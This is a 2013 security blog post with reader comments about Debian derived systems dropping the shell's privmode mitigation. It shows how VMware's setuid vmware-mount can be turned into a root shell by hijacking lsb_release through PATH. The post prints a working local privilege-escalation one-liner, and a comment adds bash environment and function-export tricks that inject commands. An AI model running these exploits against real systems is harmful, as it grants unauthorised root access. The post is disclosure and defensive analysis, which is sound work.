Thursday, August 22, 2013

Security Debianisms

On most modern Linux systems, /bin/sh is provided by bash, which detects that it's being invoked as sh, and attempts to mimic traditional sh. As everyone who works in security quickly learns, bash will drop privileges very early if uid != euid.

 488
 489   if (running_setuid && privileged_mode == 0)
 490     disable_priv_mode ();
 491

Where disable_priv_mode is defined as:

1202 void
1203 disable_priv_mode ()
1204 {
1205   setuid (current_user.uid);
1206   setgid (current_user.gid);
1207   current_user.euid = current_user.uid;
1208   current_user.egid = current_user.gid;
1209 }

Non-Linux systems tend to use pdksh as /bin/sh, which also supports privmode since version 5.0.5:

 307     /* Turning off -p? */
 308     if (f == FPRIVILEGED && oldval && !newval) {
 309 #ifdef OS2
 310         ;
 311 #else /* OS2 */
 312         setuid(ksheuid = getuid());
 313         setgid(getgid());
 314 #endif /* OS2 */
 315     } else if (f == FPOSIX && newval) {


This is surprisingly effective at mitigating some common vulnerability classes and misconfigurations. Indeed, Chet Ramey (bash author and maintainer) explains that the purpose of this is to prevent "bogus system(3) calls in setuid executables", see section 7 of the bash NOTES file.

However, this never really happens on Debian derived systems. Debian (and therefore Ubuntu) will use dash by default (see https://wiki.debian.org/DashAsBinSh), or disable it with this patch if you choose to use bash:

http://patch-tracker.debian.org/patch/series/view/bash/4.2+dfsg-0.1/privmode.diff

A nice example of this failing can be observed in the VMware utilities, which try to invoke lsb_release with popen() to learn about the current execution environment. This means you can get a nice easy root shell like this on any Debian/Ubuntu derived system with VMware installed:

$ cc -xc - -olsb_release<<<'main(){system("sh>`tty` 2>&1");}';PATH=.:$PATH vmware-mount
# whoami
root

It looks like Debian originally decided they didn't want privmode because it broke UUCP (!?).

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=52586

VMware do list Debian/Ubuntu as supported host platforms though, so they have published a fix for this issue today. If you care about this and can't wait for the patch, you can temporarily remove the setuid bit from vmware-mount like this:

# chmod u-s /usr/bin/vmware-mount

Note that it is almost impossible to use popen() or system() safely in a setuid program without privmode, even if you specify the full path. This is a fun example from back in 2005, but there are lots more cases.

In conclusion, too bad if an otherwise unexploitable bug becomes exploitable, that's the price you pay for high quality uucp support in 2013 ;-)

P.S. If you don't know what uucp is, you can read more about it on fidonet or at my gopher site.
P.P.S. I sent the dash maintainers a patch today, but I'm not sure if they're interested.

18 comments:

Enno said...

Why doesn't VMware drop the permission before calling out to lsb_release? Once you can place a binary by that name on the target system and it gets called with root permissions, I figure you've already won. It doesn't take sh to do that.

Sigi said...

@Enno:

system() will fork and use /bin/sh to execute the binary. Which is why /bin/sh needs to drop privileges early.

Look at the bash NOTES (section 7) that Tavis mentioned:

"This means, among other things, that setuid or setgid programs which call system(3) (a horrendously bad practice in any case) relinquish their setuid/setgid status in the child that's forked to execute /bin/sh."

jduck said...

I agree that VMware should be dropping privileges. lsb_release doesn't require root by any means.

vitaly said...

I guess this is the case on OS X as well? I wrote a lame 'exploit' for MacPorts htop in much the same vein a while back for fun: http://pastebin.com/sWv5bSXv. (Homebrew doesn't make htop +s root, and it's OS X, so I figure no one cares about actual vuln.)

Anonymous said...

@vitaly: Your exploit does no longer work against MacPorts' current htop, since it correctly executes /usr/bin/dtruss.

However, upstream htop seems to be perfectly vulnerable to that: http://sourceforge.net/p/htop/code/308/tree/trunk/TraceScreen.c#l92.

Anonymous said...

Nevermind, htop on Linux doesn't seem to be +s root, and as such isn't vulnerable.

Resuna said...

Debian is not primarily responsible, there's hundreds of shells out there and any one could have tickled this bug in VMware's software.

Don't use system() or popen() in setuid programs, or in any other programs with more privileges than anyone who could have some control over the string being executed or your environment. Setuid is just one possible attack case. Fork and exec stuff yourself. It's not hard. VMware depended on a mitigating strategy that some shells implement, but it's not safe to depend on that mitigating strategies to save you from your own stupidity.

(frankly, I would say don't use popen() or system() at all, but I gave up fighting THAT fight back in the '80s)

mathew said...

I'd just like to add that I use UUCP. Yes, in 2013. In fact, I set it up last year. At IBM. Because reasons.

vitaly said...

@openid: Thanks for taking a look. I realize this exploit has no real-world impact, that's why I never said anything (and the port was abandoned at the time.) I was more wondering if Tavis' thoughts on dropping privs apply here, because this seems to be the same idea. I had trouble with the shell dropping privs too, that's why I took the two-step approach with creating another suid binary. But maybe I was just being silly.

Charles G said...
This comment has been removed by the author.
Charles G said...

Is this a possible back door into Debian? Why or why not? Thanks

Charles G said...

Is this a possible back door into Debian? Why or why not? Thanks

Matthew Garrett said...

The bash patch appears to do nothing if bash is called as /bin/sh, which should mean it only causes problems if the code explicitly calls bash rather than calling system(). The security problem seems to be with using dash as /bin/sh, not the bash patch.

Matthew Garrett said...

Wait, no, I'm reading that entirely the wrong way around, aren't I - it'll drop privileged mode if it's running as bash, but not if it's running as sh. I'm sorry, I'm a fool.

RoMaNSoFt said...

All people seems to forget the golden rule: always set up a trusted PATH (or use absolute path) before invoking a shell command with privileges.

Of course, I'd prefer to drop privileges instead (more secure) or both (paranoid mode).

Given said that, although Debian did bad by (unpurposedly) disabling a mitigation, the real vulnerability is clearly Vmware's fault.

Anonymous said...

I see no huge problem to change "sh" to "bash -p" or to "sh -p" on other systems in your lsb-release override. Did you try that?

taviso said...

@romansoft Actually, using a full path wouldn't fix the problem, a classic exploit in that case would be something like this:

$ env -i SHELLOPTS=xtrace PS4='$(id)' /bin/sh -c '/bin/true'
uid=1000

Or exporting a function called '/bin/bar' (Yes, you can do that in bash).

$ function /bin/true(){ id; }
$ export -f /bin/true
$ sh -c '/bin/true'
uid=1000

It's almost impossible to use system() or popen() safely in a setuid program, which is why privmode is such a good idea!

@kanotix You mean in my C program? I'm already three levels deep in shells at that point, privileges would have been dropped long ago and unfortunately you cannot get them back.

system("foo")->/bin/sh -c "foo"->system("sh")->/bin/sh -c "sh"->/bin/sh

You can see adding a -p to the last sh would not change anything, because the two earlier invocations do not have it.

RoMaNSoFt said...

@taviso Both tricks are bash-specific. Do you have similar tricks for dash (current Debian/Ubuntu sh replacement)?

I didn't research it but maybe an absolute path would have indeed prevented exploitation in Debian/Ubuntu.